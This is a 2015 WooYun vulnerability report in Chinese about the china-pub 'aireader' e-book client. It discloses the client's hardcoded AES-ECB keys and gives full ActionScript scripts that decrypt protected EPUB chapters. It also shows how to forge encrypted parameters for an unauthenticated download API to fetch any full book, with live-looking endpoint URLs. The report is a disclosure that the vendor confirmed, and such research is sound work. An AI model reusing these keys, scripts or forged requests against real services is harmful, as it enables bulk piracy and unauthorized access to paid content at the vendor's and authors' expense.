当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0159973

漏洞标题:看我是如何任意免费阅读上万本电子书的(附测试脚本)

相关厂商:china-pub.com

漏洞作者: lightless

提交时间:2015-12-10 15:16

修复时间:2016-01-28 17:10

公开时间:2016-01-28 17:10

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-10: 细节已通知厂商并且等待厂商处理中
2015-12-15: 厂商已经确认,细节仅向厂商公开
2015-12-25: 细节向核心白帽子及相关领域专家公开
2016-01-04: 细节向普通白帽子公开
2016-01-14: 细节向实习白帽子公开
2016-01-28: 细节向公众公开

简要描述:

本来打算买本代码审计的,结果纸质版卖完了,那就买电子版吧。。。。

详细说明:

在这里购买电子书:http://product.china-pub.com/ebook4894212
但是需要专用的阅读器才能阅读,叫爱阅读。
阅读器下载:http://ebook.bbbvip.com/soft/aireader.rar
一开始想把他下载的电子书弄出来,换个阅读器看,他这个阅读器太丑了。通过Procmon看到了下载的电子书都存在了C:\Users\username\AppData\Roaming\aireader\Local Store中,发现epub中的Text文件都被加密了。那就去逆程序看看吧。
通过对主程序的逆向,发现程序加载了一个叫做mReader.swf的文件,反编译出AS代码,通读一下as代码,发现主要的处理都在src\com\evan\mreader\这里。其中有关加密的部分都在src\com\evan\mreader\util\KeyGenerator.as中,其中有一些加解密相关的函数,把这些函数拿去全局搜索,找调用方,发现了几处敏感的地方。
在src\com\evan\mreader\util\EpubParser.as中发现如下代码:

public static function readChapter(arg1:flash.events.Event):void
{
var loc7:*=null;
var loc8:*=0;
var loc9:*=null;
var loc10:*=null;
var loc11:*;
readBookHit++;
var loc1:*=null;
var loc2:*=arg1.currentTarget as flash.filesystem.FileStream;
var loc3:*=new flash.utils.ByteArray();
loc2.readBytes(loc3, 0, loc2.bytesAvailable);
content = com.evan.mreader.util.KeyGenerator.decryptFileStr(com.evan.mreader.util.KeyGenerator.realfkey, loc3);
trace("1Content.length=" + content.length);
loc2.close();


猜测这个函数是解密epub中Text的内容,调用的是decryptFileStr函数,密钥使用的realfkey。但是在KeyGenerator.as中并没有看到realfkey的值。只有pkey和fkey,并不知道是干啥用的。

public static var pkey:String="b787d9e6ebe5b3f7";
public static var realfkey:String=null;
public static var fkey:String="38ED982C-85A7-5DAC-89D5-89B639C2D5D1";


全局搜索realfkey,寻找赋值处理。在src\mReader.mxml文件中找到了赋值处理。

if (com.evan.mreader.util.KeyGenerator.realfkey == null) 
{
com.evan.mreader.util.KeyGenerator.realfkey = com.evan.mreader.util.KeyGenerator.encrypt(com.evan.mreader.util.KeyGenerator.getJstr(com.evan.mreader.util.KeyGenerator.fkey), com.evan.mreader.util.KeyGenerator.getOstr(com.evan.mreader.util.KeyGenerator.fkey));
com.evan.mreader.util.KeyGenerator.realfkey = com.evan.mreader.util.KeyGenerator.realfkey.toUpperCase().substring(0, 16);
}


这样我们就可以得到密钥了,加密方式也从KeyGenerator.as中得知是AES-ECB方式。可以写出解密Text的脚本了。解密所借用的库是AS3Crypto,原本他这个阅读器也调用了,直接复制代码来写就行了。
解密脚本:

import com.hurlant.crypto.*;
import com.hurlant.crypto.symmetric.*;
import com.hurlant.util.*;
import flash.filesystem.*;
import flash.utils.*;
var fkey = "38ED982C-85A7-5DAC-89D5-89B639C2D5D1";
var realfkey = null;
function getOstr(arg1:String):String
{
var loc1:*="";
var loc2:*=0;
while (loc2 < arg1.length)
{
if (loc2 % 2 > 0)
{
loc1 = loc1 + arg1.charAt(loc2);
}
++loc2;
}
return loc1;
}
function getJstr(arg1:String):String
{
var loc1:*="";
var loc2:*=0;
while (loc2 < arg1.length)
{
if (loc2 % 2 == 0)
{
loc1 = loc1 + arg1.charAt(loc2);
}
++loc2;
}
return loc1;
}
function encrypt(arg1:String, arg2:String):String
{
var loc1:*=com.hurlant.util.Hex.toArray(com.hurlant.util.Hex.fromString(arg1));
var loc2:*=com.hurlant.util.Hex.toArray(com.hurlant.util.Hex.fromString(arg2));
var loc3:*=new com.hurlant.crypto.symmetric.PKCS5();
var loc4:*=com.hurlant.crypto.Crypto.getCipher("aes-ecb", loc1, loc3);
loc3.setBlockSize(loc4.getBlockSize());
loc4.encrypt(loc2);
return com.hurlant.util.Hex.fromArray(loc2);
}
function convertByteArrayToString(arg1:flash.utils.ByteArray):String
{
var loc1:*=null;
if (arg1)
{
arg1.position = 0;
loc1 = arg1.readUTFBytes(arg1.length);
}
return loc1;
}
function decryptFileStr(arg1:String, arg2:flash.utils.ByteArray):String
{
var loc1:*=com.hurlant.util.Hex.toArray(com.hurlant.util.Hex.fromString(arg1));
var loc2:*=new com.hurlant.crypto.symmetric.PKCS5();
var loc3:*=com.hurlant.crypto.Crypto.getCipher("aes-ecb", loc1, loc2);
loc2.setBlockSize(loc3.getBlockSize());
loc3.decrypt(arg2);
var loc4:*=com.hurlant.util.Hex.toString(com.hurlant.util.Hex.fromArray(arg2));
var loc5:*=convertByteArrayToString(com.hurlant.util.Hex.toArray(loc4));
return loc5;
}
var param1 = getJstr(fkey);
var param2 = getOstr(fkey);
trace(param1, param2);
realfkey = encrypt(param1, param2);
realfkey = realfkey.toUpperCase().substring(0,16);
trace(realfkey);
var contentArray:* = new flash.utils.ByteArray();
var stream:FileStream = new FileStream();
var filename = "D:/program/Text/cover.xhtml";
var file:File = new File(filename);
stream.open(file, FileMode.READ);
stream.readBytes(contentArray, 0, stream.bytesAvailable);
var content = decryptFileStr(realfkey, contentArray);
var newFilename = "D:/program/Text-new/cover.xhtml";
var stream2:FileStream = new FileStream();
var file2:File = new File(newFilename);
stream2.open(file2, FileMode.WRITE);
stream2.position = 0;
stream2.writeUTFBytes(content);
stream.close();
stream2.close();
var contentArray:* = new flash.utils.ByteArray();
var stream:FileStream = new FileStream();
var filename = "D:/program/Text/copyright.xhtml";
var file:File = new File(filename);
stream.open(file, FileMode.READ);
stream.readBytes(contentArray, 0, stream.bytesAvailable);
var content = decryptFileStr(realfkey, contentArray);
var newFilename = "D:/program/Text-new/copyright.xhtml";
var stream2:FileStream = new FileStream();
var file2:File = new File(newFilename);
stream2.open(file2, FileMode.WRITE);
stream2.position = 0;
stream2.writeUTFBytes(content);
stream.close();
stream2.close();
var i = 1;
while (i <= 77) {
var contentArray:* = new flash.utils.ByteArray();
var stream:FileStream = new FileStream();
var filename = "D:/program/Text/chapter" + i + ".xhtml";
//trace(filename);
var file:File = new File(filename);
stream.open(file, FileMode.READ);
stream.readBytes(contentArray, 0, stream.bytesAvailable);
var content = decryptFileStr(realfkey, contentArray);
var newFilename = "D:/program/Text-new/chapter" + i + ".xhtml";
var stream2:FileStream = new FileStream();
var file2:File = new File(newFilename);
stream2.open(file2, FileMode.WRITE);
stream2.position = 0;
stream2.writeUTFBytes(content);

i++;
stream.close();
stream2.close();
}


通过这个脚本把解密完的内容丢回epub的包里替换掉原来的密文,就可以通过其他的epub阅读器打开了。
到这里已经目标达成了,但是手贱抓了一下包,又结合代码分析了一下,发现了几个神奇的接口。
先是找到了下载时候的请求接口Getepub.aspx,param是被加密了,去找找怎么加密的。
http://yans.hztraining.com/bbyf_api/Getepub.aspx?param=xxxxxx&client=air
通过全局搜索,在src\com\evan\mreader\service\DownloadService.as中找到了如下代码:

loc2 = "{\"key\":\"" + com.evan.mreader.util.KeyGenerator.fkey + "\",\"fname\":\"" + loc1.download + "\",\"type\":\"download\"}";
loc3 = com.evan.mreader.util.KeyGenerator.encrypt(com.evan.mreader.util.KeyGenerator.pkey, loc2);
toGetEnReService.url = com.evan.mreader.model.ServerConfig.GetepubUrl + "?param=" + loc3 + "&client=air";


yoooo,key不就是fkey么,还有个loc1暂时不管,后面调用encrypt函数,密钥就是pkey,也有了。现在去找找这个loc1是啥,在靠上一点的代码找到了:

var loc1:*=com.adobe.serialization.json.AdobeJSON.decode(String(arg1.result));


通过抓包,找到了一个有效的param,解密掉,发现loc1.download是类似于11111872_v.epub这样的内容,继续分析数据包,发现了
http://yans.hztraining.com/bbyf_api/GetBookInfo.aspx?bookinfoid=xxxxx 这个接口,可以拿到类似11111872_v.epub的值。也就是可以任意下载了。

漏洞证明:

我们用新出的代码审计这本书做测试吧。
在爱阅读里搜索这本书,然后抓包发现:

1.jpg


http://www.bbbvip.com/bbyf_api/GetBookInfo.aspx?bookinfoid=11116882
得到了这本书的真正需要的字段是11116838_v.epub

2.jpg


然后写个脚本对其AES加密,得到param参数:

84320cf3fc6896288655029b0208235dbf003cc5fff98c45dbee23000cd9ef6532c07663beb19b87942acc8544f201cb0db13177632da3ae21030795be09ed8e831c28deb70acc766b234ed16e196fcf0e80a9d85f05c30a9e81aca19357f41f


加密脚本:

import com.hurlant.crypto.*;
import com.hurlant.crypto.symmetric.*;
import com.hurlant.util.*;
var loc2:*=null;
var loc3:*=null;
var fkey:String="38ED982C-85A7-5DAC-89D5-89B639C2D5D1";
var pkey:String="b787d9e6ebe5b3f7";
function decrypt(arg1:String, arg2:String):String
{
var loc1:*=com.hurlant.util.Hex.toArray(com.hurlant.util.Hex.fromString(arg1));
var loc2:*=com.hurlant.util.Hex.toArray(arg2);
var loc3:*=new com.hurlant.crypto.symmetric.PKCS5();
var loc4:*=com.hurlant.crypto.Crypto.getCipher("aes-ecb", loc1, loc3);
loc3.setBlockSize(loc4.getBlockSize());
loc4.decrypt(loc2);
var loc5:*=com.hurlant.util.Hex.toString(com.hurlant.util.Hex.fromArray(loc2));
return loc5;
}
function encrypt(arg1:String, arg2:String):String
{
var loc1:*=com.hurlant.util.Hex.toArray(com.hurlant.util.Hex.fromString(arg1));
var loc2:*=com.hurlant.util.Hex.toArray(com.hurlant.util.Hex.fromString(arg2));
var loc3:*=new com.hurlant.crypto.symmetric.PKCS5();
var loc4:*=com.hurlant.crypto.Crypto.getCipher("aes-ecb", loc1, loc3);
loc3.setBlockSize(loc4.getBlockSize());
loc4.encrypt(loc2);
return com.hurlant.util.Hex.fromArray(loc2);
}
var ccc = "{\"key\":\"" + fkey + "\",\"fname\":\"" + "11116838_v.epub" + "\",\"type\":\"download\"}";
trace(ccc);
loc3 = encrypt(pkey, ccc);
trace(loc3);


拼凑出URL为:http://yans.hztraining.com/bbyf_api/Getepub.aspx?param=84320cf3fc6896288655029b0208235dbf003cc5fff98c45dbee23000cd9ef6532c07663beb19b87942acc8544f201cb0db13177632da3ae21030795be09ed8e831c28deb70acc766b234ed16e196fcf0e80a9d85f05c30a9e81aca19357f41f&client=air

3.jpg


得到下载链接为http://yans.hztraining.com/exg/r2/11116838/f4362c17-7646-4b8f-a253-031d2ed5bb32.epub
下载好以后我们打开看看,通过目录可以看出是全本,不是试读版。

4.jpg


5.jpg


看看每章的内容发现是被加密了。

6.jpg


我们用一开始整理出的脚本去解密看看。然后丢到阅读器里去看看。

7.jpg


8.jpg


任意电子书免费大畅读~再也不用等打折咯~

修复方案:

任意下载的接口比较好修,加上权限验证就好了。加密这个比较麻烦了。
这个不给20 RANK说不过去吧。。。这很严重了,批量盗版分分钟。

版权声明:转载请注明来源 lightless@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-12-15 10:36

厂商回复:

谢谢

最新状态:

暂无


漏洞评价:

评价

  1. 2016-01-30 02:03 | _Thorns ( 普通白帽子 | Rank:1662 漏洞数:248 | WooYun is the Bigest gay place. 网络工...)

    厉害